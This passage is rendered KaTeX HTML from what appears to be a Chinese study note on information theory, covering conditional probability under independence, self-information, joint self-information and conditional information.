vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:1.1683em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.4797em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>对于随机变量独立的情况，可以同时发生可以拆开成乘法，条件概率没有影响。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><h3 id="信息量">信息量</h3><p>在有了概率分布的基础之后，就可以开始学习基于统计的<strong>自信息量</strong>的概念了。<strong>一定记住公式</strong>，单位是 bit</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>需要注意的性质，自信息量的范围是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">+</span><span class="mord">∞</span><span class="mclose">)</span></span></span></span>，而且是单减函数。</p><p>对于联合变量，有<strong>联合自信息量</strong>，计算公式也是类似的：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>特别的，当互相独立时，就可以拆开：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>条件信息量</strong>则除了计算公式，还和自信息量、联合信息量有直接关系。简单说，就是 <strong>a 的信息量+a 已经发生后 b 发生的信息量，就是 a 和 b 同时发生的信息量</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.5em;vertical-align:-2em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5em;"><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-1.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5em;"><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" 